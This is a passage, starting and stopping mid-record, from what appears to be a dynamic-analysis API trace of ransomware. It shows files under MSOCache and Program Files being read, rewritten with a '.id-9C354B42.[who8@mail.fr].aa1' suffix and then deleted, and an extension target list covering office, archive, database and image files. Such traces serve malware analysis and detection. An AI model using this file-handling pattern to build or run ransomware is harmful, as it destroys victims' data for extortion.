users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.896] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0200.896] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.896] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.896] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0200.896] GetLastError () returned 0x0 [0200.896] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x10676, lpOverlapped=0x0) returned 1 [0200.920] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0200.922] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0200.922] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0200.922] SetEndOfFile (hFile=0x1b0) returned 1 [0200.922] CloseHandle (hObject=0x1b0) returned 1 [0200.923] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.923] SetEndOfFile (hFile=0x198) returned 1 [0200.925] CloseHandle (hObject=0x198) returned 1 [0200.925] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.926] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0200.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0200.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0200.926] lstrlenW (lpString=".doc") returned 4 [0200.926] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0200.926] lstrlenW (lpString=".docx") returned 5 [0200.926] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0200.926] lstrlenW (lpString=".pdf") returned 4 [0200.926] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0200.926] lstrlenW (lpString=".xls") returned 4 [0200.926] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0200.926] lstrlenW (lpString=".xlsx") returned 5 [0200.926] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0200.926] lstrlenW (lpString=".ppt") returned 4 [0200.926] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0200.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0200.926] lstrlenW (lpString=".zip") returned 4 [0200.926] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0200.926] lstrlenW (lpString=".rar") returned 4 [0200.927] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0200.927] lstrlenW (lpString=".bz2") returned 4 [0200.927] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0200.927] lstrlenW (lpString=".7z") returned 3 [0200.927] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0200.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0200.927] lstrlenW (lpString=".dbf") returned 4 [0200.927] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0200.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0200.927] lstrlenW (lpString=".1cd") returned 4 [0200.927] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0200.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0200.927] lstrlenW (lpString=".jpg") returned 4 [0200.927] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0200.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0200.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0200.927] lstrlenW (lpString=".doc") returned 4 [0200.927] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0200.927] lstrlenW (lpString=".docx") returned 5 [0200.927] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0200.927] lstrlenW (lpString=".pdf") returned 4 [0200.927] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0200.927] lstrlenW (lpString=".xls") returned 4 [0200.927] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0200.927] lstrlenW (lpString=".xlsx") returned 5 [0200.927] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0200.927] lstrlenW (lpString=".ppt") returned 4 [0200.927] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0200.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0200.928] lstrlenW (lpString=".zip") returned 4 [0200.928] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0200.928] lstrlenW (lpString=".rar") returned 4 [0200.928] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0200.928] lstrlenW (lpString=".bz2") returned 4 [0200.928] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0200.928] lstrlenW (lpString=".7z") returned 3 [0200.928] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0200.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0200.928] lstrlenW (lpString=".dbf") returned 4 [0200.928] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0200.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0200.928] lstrlenW (lpString=".1cd") returned 4 [0200.928] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0200.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0200.928] lstrlenW (lpString=".jpg") returned 4 [0200.928] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0200.929] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.929] lstrlenW (lpString="Setup.xml") returned 9 [0200.929] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0200.929] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=9352) returned 1 [0200.929] CloseHandle (hObject=0x198) returned 1 [0200.929] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0200.929] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.929] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0200.929] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.929] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.930] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0200.930] GetLastError () returned 0x0 [0200.930] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x2488, lpOverlapped=0x0) returned 1 [0201.266] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0201.268] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0201.268] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0201.268] SetEndOfFile (hFile=0x1b0) returned 1 [0201.268] CloseHandle (hObject=0x1b0) returned 1 [0201.269] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.269] SetEndOfFile (hFile=0x198) returned 1 [0201.271] CloseHandle (hObject=0x198) returned 1 [0201.271] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0201.297] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0201.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.297] lstrlenW (lpString=".doc") returned 4 [0201.297] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.297] lstrlenW (lpString=".docx") returned 5 [0201.297] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0201.297] lstrlenW (lpString=".pdf") returned 4 [0201.297] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.297] lstrlenW (lpString=".xls") returned 4 [0201.298] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.298] lstrlenW (lpString=".xlsx") returned 5 [0201.298] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0201.298] lstrlenW (lpString=".ppt") returned 4 [0201.298] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.298] lstrlenW (lpString=".zip") returned 4 [0201.298] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.298] lstrlenW (lpString=".rar") returned 4 [0201.298] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.298] lstrlenW (lpString=".bz2") returned 4 [0201.298] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.298] lstrlenW (lpString=".7z") returned 3 [0201.298] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.298] lstrlenW (lpString=".dbf") returned 4 [0201.298] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.298] lstrlenW (lpString=".1cd") returned 4 [0201.299] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.299] lstrlenW (lpString=".jpg") returned 4 [0201.299] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.299] lstrlenW (lpString=".doc") returned 4 [0201.299] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.299] lstrlenW (lpString=".docx") returned 5 [0201.299] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0201.299] lstrlenW (lpString=".pdf") returned 4 [0201.299] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.299] lstrlenW (lpString=".xls") returned 4 [0201.299] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.299] lstrlenW (lpString=".xlsx") returned 5 [0201.299] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0201.299] lstrlenW (lpString=".ppt") returned 4 [0201.299] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.300] lstrlenW (lpString=".zip") returned 4 [0201.300] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.300] lstrlenW (lpString=".rar") returned 4 [0201.300] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.300] lstrlenW (lpString=".bz2") returned 4 [0201.300] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.300] lstrlenW (lpString=".7z") returned 3 [0201.300] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.300] lstrlenW (lpString=".dbf") returned 4 [0201.300] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.300] lstrlenW (lpString=".1cd") returned 4 [0201.300] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.301] lstrlenW (lpString=".jpg") returned 4 [0201.301] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.301] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0201.301] lstrlenW (lpString="Setup.xml") returned 9 [0201.301] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0201.781] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=16683) returned 1 [0201.781] CloseHandle (hObject=0x198) returned 1 [0201.781] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0201.781] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0201.781] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0201.781] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.781] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.782] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0201.782] GetLastError () returned 0x0 [0201.782] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x412b, lpOverlapped=0x0) returned 1 [0201.865] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0202.691] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0202.691] WriteFile (in: hFile=0x1b0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0202.692] SetEndOfFile (hFile=0x1b0) returned 1 [0202.692] CloseHandle (hObject=0x1b0) returned 1 [0202.693] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.693] SetEndOfFile (hFile=0x198) returned 1 [0202.694] CloseHandle (hObject=0x198) returned 1 [0202.694] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0202.695] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0202.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.695] lstrlenW (lpString=".doc") returned 4 [0202.695] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0202.695] lstrlenW (lpString=".docx") returned 5 [0202.695] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0202.695] lstrlenW (lpString=".pdf") returned 4 [0202.695] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0202.696] lstrlenW (lpString=".xls") returned 4 [0202.696] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0202.696] lstrlenW (lpString=".xlsx") returned 5 [0202.696] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0202.696] lstrlenW (lpString=".ppt") returned 4 [0202.696] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0202.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.697] lstrlenW (lpString=".zip") returned 4 [0202.697] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0202.697] lstrlenW (lpString=".rar") returned 4 [0202.697] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0202.697] lstrlenW (lpString=".bz2") returned 4 [0202.697] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0202.697] lstrlenW (lpString=".7z") returned 3 [0202.697] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0202.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.697] lstrlenW (lpString=".dbf") returned 4 [0202.697] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0202.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.697] lstrlenW (lpString=".1cd") returned 4 [0202.697] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0202.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.697] lstrlenW (lpString=".jpg") returned 4 [0202.697] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0202.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.698] lstrlenW (lpString=".doc") returned 4 [0202.698] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0202.698] lstrlenW (lpString=".docx") returned 5 [0202.698] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0202.698] lstrlenW (lpString=".pdf") returned 4 [0202.698] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0202.698] lstrlenW (lpString=".xls") returned 4 [0202.698] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0202.698] lstrlenW (lpString=".xlsx") returned 5 [0202.698] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0202.698] lstrlenW (lpString=".ppt") returned 4 [0202.698] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0202.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.698] lstrlenW (lpString=".zip") returned 4 [0202.698] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0202.698] lstrlenW (lpString=".rar") returned 4 [0202.698] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0202.698] lstrlenW (lpString=".bz2") returned 4 [0202.698] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0202.698] lstrlenW (lpString=".7z") returned 3 [0202.698] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0202.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.698] lstrlenW (lpString=".dbf") returned 4 [0202.698] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0202.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.698] lstrlenW (lpString=".1cd") returned 4 [0202.698] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0202.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.699] lstrlenW (lpString=".jpg") returned 4 [0202.699] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0202.699] lstrcmpiW (lpString1=".EPS", lpString2=".aa1") returned 1 [0202.699] lstrlenW (lpString="MS.EPS") returned 6 [0202.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0202.748] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=15067) returned 1 [0202.748] CloseHandle (hObject=0x17c) returned 1 [0202.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0202.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0202.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), 